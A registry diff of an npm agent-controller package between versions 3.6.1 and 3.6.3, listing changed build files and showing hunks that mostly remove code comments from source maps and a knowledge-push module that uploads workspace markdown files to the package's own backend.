@openclaw-cloud/agent-controller 3.6.1 → 3.6.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/api.d.ts +2 -14
- package/dist/api.js +1 -15
- package/dist/api.js.map +1 -1
- package/dist/commands/agent-update-cli.js +0 -7
- package/dist/commands/agent-update-cli.js.map +1 -1
- package/dist/commands/bootstrap.d.ts +0 -10
- package/dist/commands/bootstrap.js +2 -16
- package/dist/commands/bootstrap.js.map +1 -1
- package/dist/commands/channel-server.d.ts +0 -16
- package/dist/commands/channel-server.js +1 -19
- package/dist/commands/channel-server.js.map +1 -1
- package/dist/commands/deploy-cli.js +2 -12
- package/dist/commands/deploy-cli.js.map +1 -1
- package/dist/commands/diagnostics-cli.js +0 -6
- package/dist/commands/diagnostics-cli.js.map +1 -1
- package/dist/commands/install-deps.d.ts +0 -10
- package/dist/commands/install-deps.js +1 -10
- package/dist/commands/install-deps.js.map +1 -1
- package/dist/commands/install.js +0 -6
- package/dist/commands/install.js.map +1 -1
- package/dist/commands/package-install-cli.js +1 -14
- package/dist/commands/package-install-cli.js.map +1 -1
- package/dist/commands/plugin-update-cli.js +1 -8
- package/dist/commands/plugin-update-cli.js.map +1 -1
- package/dist/commands/restart-cli.js +0 -4
- package/dist/commands/restart-cli.js.map +1 -1
- package/dist/commands/self-update.d.ts +2 -24
- package/dist/commands/self-update.js +5 -54
- package/dist/commands/self-update.js.map +1 -1
- package/dist/commands/stop-cli.d.ts +0 -4
- package/dist/commands/stop-cli.js +1 -24
- package/dist/commands/stop-cli.js.map +1 -1
- package/dist/config-file.d.ts +3 -20
- package/dist/config-file.js +3 -22
- package/dist/config-file.js.map +1 -1
- package/dist/config.d.ts +0 -22
- package/dist/config.js +1 -34
- package/dist/config.js.map +1 -1
- package/dist/connection.js +2 -39
- package/dist/connection.js.map +1 -1
- package/dist/handlers/agent-update.d.ts +1 -21
- package/dist/handlers/agent-update.js +1 -21
- package/dist/handlers/agent-update.js.map +1 -1
- package/dist/handlers/chat.d.ts +0 -8
- package/dist/handlers/chat.js +3 -23
- package/dist/handlers/chat.js.map +1 -1
- package/dist/handlers/file-write.js +1 -4
- package/dist/handlers/file-write.js.map +1 -1
- package/dist/handlers/memory.d.ts +1 -9
- package/dist/handlers/memory.js +3 -25
- package/dist/handlers/memory.js.map +1 -1
- package/dist/handlers/onboarding.js +0 -2
- package/dist/handlers/onboarding.js.map +1 -1
- package/dist/handlers/pair.js +1 -3
- package/dist/handlers/pair.js.map +1 -1
- package/dist/handlers/plugin-update.d.ts +1 -16
- package/dist/handlers/plugin-update.js +1 -16
- package/dist/handlers/plugin-update.js.map +1 -1
- package/dist/handlers/restart.js +0 -2
- package/dist/handlers/restart.js.map +1 -1
- package/dist/handlers/self-update.d.ts +2 -29
- package/dist/handlers/self-update.js +3 -35
- package/dist/handlers/self-update.js.map +1 -1
- package/dist/handlers/slack-event.d.ts +2 -9
- package/dist/handlers/slack-event.js +2 -10
- package/dist/handlers/slack-event.js.map +1 -1
- package/dist/heartbeat.d.ts +2 -12
- package/dist/heartbeat.js +3 -18
- package/dist/heartbeat.js.map +1 -1
- package/dist/index.js +6 -50
- package/dist/index.js.map +1 -1
- package/dist/lockfile.d.ts +0 -7
- package/dist/lockfile.js +0 -9
- package/dist/lockfile.js.map +1 -1
- package/dist/memory-mcp-server.d.ts +1 -19
- package/dist/memory-mcp-server.js +5 -53
- package/dist/memory-mcp-server.js.map +1 -1
- package/dist/mock-board-worker.d.ts +2 -25
- package/dist/mock-board-worker.js +7 -54
- package/dist/mock-board-worker.js.map +1 -1
- package/dist/platform/linux.js +0 -3
- package/dist/platform/linux.js.map +1 -1
- package/dist/platform/macos.js +0 -2
- package/dist/platform/macos.js.map +1 -1
- package/dist/providers/chat-types.d.ts +0 -3
- package/dist/providers/chat-types.js +0 -3
- package/dist/providers/chat-types.js.map +1 -1
- package/dist/providers/claude-code/channel-server.d.ts +0 -19
- package/dist/providers/claude-code/channel-server.js +0 -19
- package/dist/providers/claude-code/channel-server.js.map +1 -1
- package/dist/providers/claude-code/index.d.ts +0 -22
- package/dist/providers/claude-code/index.js +3 -26
- package/dist/providers/claude-code/index.js.map +1 -1
- package/dist/providers/claude-code/login-flow.d.ts +0 -17
- package/dist/providers/claude-code/login-flow.js +2 -16
- package/dist/providers/claude-code/login-flow.js.map +1 -1
- package/dist/providers/claude-code/settings-writer.d.ts +1 -16
- package/dist/providers/claude-code/settings-writer.js +5 -20
- package/dist/providers/claude-code/settings-writer.js.map +1 -1
- package/dist/providers/claude-code/socket-bridge.d.ts +0 -35
- package/dist/providers/claude-code/socket-bridge.js +2 -43
- package/dist/providers/claude-code/socket-bridge.js.map +1 -1
- package/dist/providers/claude-code/spawn-claude.d.ts +0 -17
- package/dist/providers/claude-code/spawn-claude.js +1 -15
- package/dist/providers/claude-code/spawn-claude.js.map +1 -1
- package/dist/providers/index.d.ts +1 -10
- package/dist/providers/index.js +2 -13
- package/dist/providers/index.js.map +1 -1
- package/dist/providers/mock/index.d.ts +0 -4
- package/dist/providers/mock/index.js +0 -4
- package/dist/providers/mock/index.js.map +1 -1
- package/dist/providers/openclaw/auto-pair.d.ts +1 -6
- package/dist/providers/openclaw/auto-pair.js +1 -10
- package/dist/providers/openclaw/auto-pair.js.map +1 -1
- package/dist/providers/openclaw/device-identity.d.ts +1 -1
- package/dist/providers/openclaw/device-identity.js +33 -17
- package/dist/providers/openclaw/device-identity.js.map +1 -1
- package/dist/providers/openclaw/gateway-adapter.d.ts +0 -5
- package/dist/providers/openclaw/gateway-adapter.js +4 -32
- package/dist/providers/openclaw/gateway-adapter.js.map +1 -1
- package/dist/providers/openclaw/gateway-client.js +3 -9
- package/dist/providers/openclaw/gateway-client.js.map +1 -1
- package/dist/providers/openclaw/index.js +2 -15
- package/dist/providers/openclaw/index.js.map +1 -1
- package/dist/providers/types.d.ts +0 -10
- package/dist/slack-relay-server.d.ts +4 -33
- package/dist/slack-relay-server.js +9 -57
- package/dist/slack-relay-server.js.map +1 -1
- package/dist/types.d.ts +1 -12
- package/dist/types.js +0 -6
- package/dist/types.js.map +1 -1
- package/dist/utils/agent-controller-bin.d.ts +0 -6
- package/dist/utils/agent-controller-bin.js +1 -21
- package/dist/utils/agent-controller-bin.js.map +1 -1
- package/dist/utils/anthropic-auth.d.ts +1 -22
- package/dist/utils/anthropic-auth.js +0 -10
- package/dist/utils/anthropic-auth.js.map +1 -1
- package/dist/utils/apply-config.d.ts +8 -68
- package/dist/utils/apply-config.js +75 -203
- package/dist/utils/apply-config.js.map +1 -1
- package/dist/utils/backup-push.d.ts +0 -10
- package/dist/utils/backup-push.js +0 -15
- package/dist/utils/backup-push.js.map +1 -1
- package/dist/utils/claude-env.d.ts +1 -10
- package/dist/utils/claude-env.js +2 -14
- package/dist/utils/claude-env.js.map +1 -1
- package/dist/utils/config-merge-paths.d.ts +5 -43
- package/dist/utils/config-merge-paths.js +5 -43
- package/dist/utils/config-merge-paths.js.map +1 -1
- package/dist/utils/deploy-type.d.ts +1 -13
- package/dist/utils/deploy-type.js +2 -19
- package/dist/utils/deploy-type.js.map +1 -1
- package/dist/utils/diagnostics.d.ts +0 -7
- package/dist/utils/diagnostics.js +0 -15
- package/dist/utils/diagnostics.js.map +1 -1
- package/dist/utils/exec.d.ts +0 -10
- package/dist/utils/exec.js +2 -32
- package/dist/utils/exec.js.map +1 -1
- package/dist/utils/gateway-restart-handler.d.ts +1 -8
- package/dist/utils/gateway-restart-handler.js +1 -8
- package/dist/utils/gateway-restart-handler.js.map +1 -1
- package/dist/utils/gateway-restart.d.ts +1 -11
- package/dist/utils/gateway-restart.js +1 -11
- package/dist/utils/gateway-restart.js.map +1 -1
- package/dist/utils/knowledge-graph.d.ts +2 -25
- package/dist/utils/knowledge-graph.js +2 -37
- package/dist/utils/knowledge-graph.js.map +1 -1
- package/dist/utils/knowledge-push.d.ts +0 -4
- package/dist/utils/knowledge-push.js +4 -19
- package/dist/utils/knowledge-push.js.map +1 -1
- package/dist/utils/legacy-mcp-servers.d.ts +1 -11
- package/dist/utils/legacy-mcp-servers.js +1 -11
- package/dist/utils/legacy-mcp-servers.js.map +1 -1
- package/dist/utils/log-collector.js +0 -2
- package/dist/utils/log-collector.js.map +1 -1
- package/dist/utils/openclaw-ops.d.ts +5 -72
- package/dist/utils/openclaw-ops.js +6 -98
- package/dist/utils/openclaw-ops.js.map +1 -1
- package/dist/utils/openclaw-stack-update.d.ts +2 -14
- package/dist/utils/openclaw-stack-update.js +1 -6
- package/dist/utils/openclaw-stack-update.js.map +1 -1
- package/dist/utils/package-install.d.ts +0 -5
- package/dist/utils/package-install.js +2 -21
- package/dist/utils/package-install.js.map +1 -1
- package/dist/utils/package-version.d.ts +1 -9
- package/dist/utils/package-version.js +1 -9
- package/dist/utils/package-version.js.map +1 -1
- package/dist/utils/parse-id-at-version.d.ts +1 -11
- package/dist/utils/parse-id-at-version.js +1 -11
- package/dist/utils/parse-id-at-version.js.map +1 -1
- package/dist/utils/plugin-reconcile.d.ts +2 -33
- package/dist/utils/plugin-reconcile.js +7 -77
- package/dist/utils/plugin-reconcile.js.map +1 -1
- package/dist/utils/release-channel.d.ts +0 -8
- package/dist/utils/release-channel.js.map +1 -1
- package/dist/utils/write-home-files.d.ts +2 -24
- package/dist/utils/write-home-files.js +3 -27
- package/dist/utils/write-home-files.js.map +1 -1
- package/dist/utils/write-workspace-files.d.ts +0 -14
- package/dist/utils/write-workspace-files.js +1 -19
- package/dist/utils/write-workspace-files.js.map +1 -1
- package/dist/workspace.d.ts +1 -21
- package/dist/workspace.js +1 -21
- package/dist/workspace.js.map +1 -1
- package/package.json +1 -1
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"knowledge-graph.js","sourceRoot":"","sources":["../../src/utils/knowledge-graph.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,IAAI,EAAE,EAAE,MAAM,SAAS,CAAC;AACzC,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;
|
|
1
|
+
{"version":3,"file":"knowledge-graph.js","sourceRoot":"","sources":["../../src/utils/knowledge-graph.ts"],"names":[],"mappings":"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"}
|
|
@@ -1,8 +1,4 @@
|
|
|
1
1
|
import type { AgentApi } from '../api.js';
|
|
2
|
-
/**
|
|
3
|
-
* Push knowledge files to backend via API.
|
|
4
|
-
* Used by both CLI command and Centrifugo handler.
|
|
5
|
-
*/
|
|
6
2
|
export declare function pushKnowledgeToBackend(api: AgentApi, agentId: string, paths?: string[]): Promise<{
|
|
7
3
|
filesRead: number;
|
|
8
4
|
filesUpdated: number;
|
|
@@ -10,12 +10,8 @@ const FIXED_FILES = [
|
|
|
10
10
|
'USER.md',
|
|
11
11
|
'IDENTITY.md',
|
|
12
12
|
];
|
|
13
|
-
const MAX_FILE_BYTES = 1_048_576;
|
|
14
|
-
const MAX_TOTAL_BYTES = 10_485_760;
|
|
15
|
-
/**
|
|
16
|
-
* Resolve requested paths to actual file paths in workspace.
|
|
17
|
-
* Paths ending with '/' are treated as directories — scanned for .md files.
|
|
18
|
-
*/
|
|
13
|
+
const MAX_FILE_BYTES = 1_048_576;
|
|
14
|
+
const MAX_TOTAL_BYTES = 10_485_760;
|
|
19
15
|
async function resolvePaths(workspaceDir, paths) {
|
|
20
16
|
const resolved = [];
|
|
21
17
|
for (const p of paths) {
|
|
@@ -28,9 +24,7 @@ async function resolvePaths(workspaceDir, paths) {
|
|
|
28
24
|
resolved.push(path.join(p, entry));
|
|
29
25
|
}
|
|
30
26
|
}
|
|
31
|
-
catch {
|
|
32
|
-
// Directory doesn't exist — skip
|
|
33
|
-
}
|
|
27
|
+
catch { }
|
|
34
28
|
}
|
|
35
29
|
else {
|
|
36
30
|
resolved.push(p);
|
|
@@ -38,9 +32,6 @@ async function resolvePaths(workspaceDir, paths) {
|
|
|
38
32
|
}
|
|
39
33
|
return resolved;
|
|
40
34
|
}
|
|
41
|
-
/**
|
|
42
|
-
* Read workspace files with size limits.
|
|
43
|
-
*/
|
|
44
35
|
async function readFiles(workspaceDir, filePaths) {
|
|
45
36
|
const files = [];
|
|
46
37
|
let totalBytes = 0;
|
|
@@ -62,16 +53,10 @@ async function readFiles(workspaceDir, filePaths) {
|
|
|
62
53
|
totalBytes += Buffer.byteLength(content, 'utf-8');
|
|
63
54
|
files.push({ path: filePath, content });
|
|
64
55
|
}
|
|
65
|
-
catch {
|
|
66
|
-
// File doesn't exist or unreadable — skip
|
|
67
|
-
}
|
|
56
|
+
catch { }
|
|
68
57
|
}
|
|
69
58
|
return files;
|
|
70
59
|
}
|
|
71
|
-
/**
|
|
72
|
-
* Push knowledge files to backend via API.
|
|
73
|
-
* Used by both CLI command and Centrifugo handler.
|
|
74
|
-
*/
|
|
75
60
|
export async function pushKnowledgeToBackend(api, agentId, paths) {
|
|
76
61
|
const requestedPaths = paths ?? [...FIXED_FILES, 'memory/'];
|
|
77
62
|
const workspaceDir = getWorkspaceDir();
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"knowledge-push.js","sourceRoot":"","sources":["../../src/utils/knowledge-push.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,kBAAkB,CAAC;AAClC,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC;AAGlD,MAAM,WAAW,GAAG;IAClB,SAAS;IACT,WAAW;IACX,WAAW;IACX,UAAU;IACV,cAAc;IACd,SAAS;IACT,aAAa;CACd,CAAC;AAEF,MAAM,cAAc,GAAG,SAAS,CAAC
|
|
1
|
+
